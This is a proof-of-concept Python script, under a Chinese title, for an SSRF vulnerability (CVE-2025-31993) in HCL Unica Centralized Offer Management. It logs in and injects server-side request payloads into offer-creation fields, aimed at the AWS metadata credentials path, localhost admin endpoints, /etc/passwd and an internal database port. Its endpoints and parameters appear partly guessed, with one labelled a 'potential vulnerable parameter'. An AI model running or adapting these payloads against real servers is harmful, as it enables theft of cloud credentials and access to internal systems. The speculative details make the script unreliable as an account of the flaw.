CVE-2025-31993：HCL Unica集中式优惠管理SSRF漏洞

# CVE-2025-31993 - HCL Unica Centralized Offer Management SSRF PoC # This PoC demonstrates the SSRF vulnerability by submitting a crafted URL # to the Centralized Offer Management component. import requests # Target server running HCL Unica Centralized Offer Management TARGET_URL = "https://target-unica-server:8443/unica/offer/centralized" # Attacker credentials (high privilege required: PR:H) USERNAME = "admin" PASSWORD = "password123" # Session for authenticated requests session = requests.Session() def exploit_ssrf(): """ Exploit SSRF by submitting a malicious URL through the offer management interface. The server will fetch the URL on behalf of the attacker, potentially accessing internal resources or cloud metadata services. """ # Step 1: Authenticate to obtain a valid session login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_payload) # Step 2: Submit malicious URL through the offer template/resource fetch feature # Targeting internal cloud metadata service (AWS example) ssrf_payloads = [ "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "http://localhost:8080/admin/config", "http://127.0.0.1:8443/internal/status", "file:///etc/passwd", "http://internal-service.local:3306/" ] for payload_url in ssrf_payloads: # Step 3: Inject the malicious URL into the offer management request offer_payload = { "offerName": "TestOffer", "offerType": "PROMOTIONAL", "resourceUrl": payload_url, # Vulnerable parameter "templateUrl": payload_url, # Another potential vulnerable parameter "callbackUrl": payload_url # Callback URL parameter } response = session.post( f"{TARGET_URL}/api/offer/create", json=offer_payload, headers={"Content-Type": "application/json"} ) print(f"[*] Payload: {payload_url}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") print("-" * 60) if __name__ == "__main__": exploit_ssrf()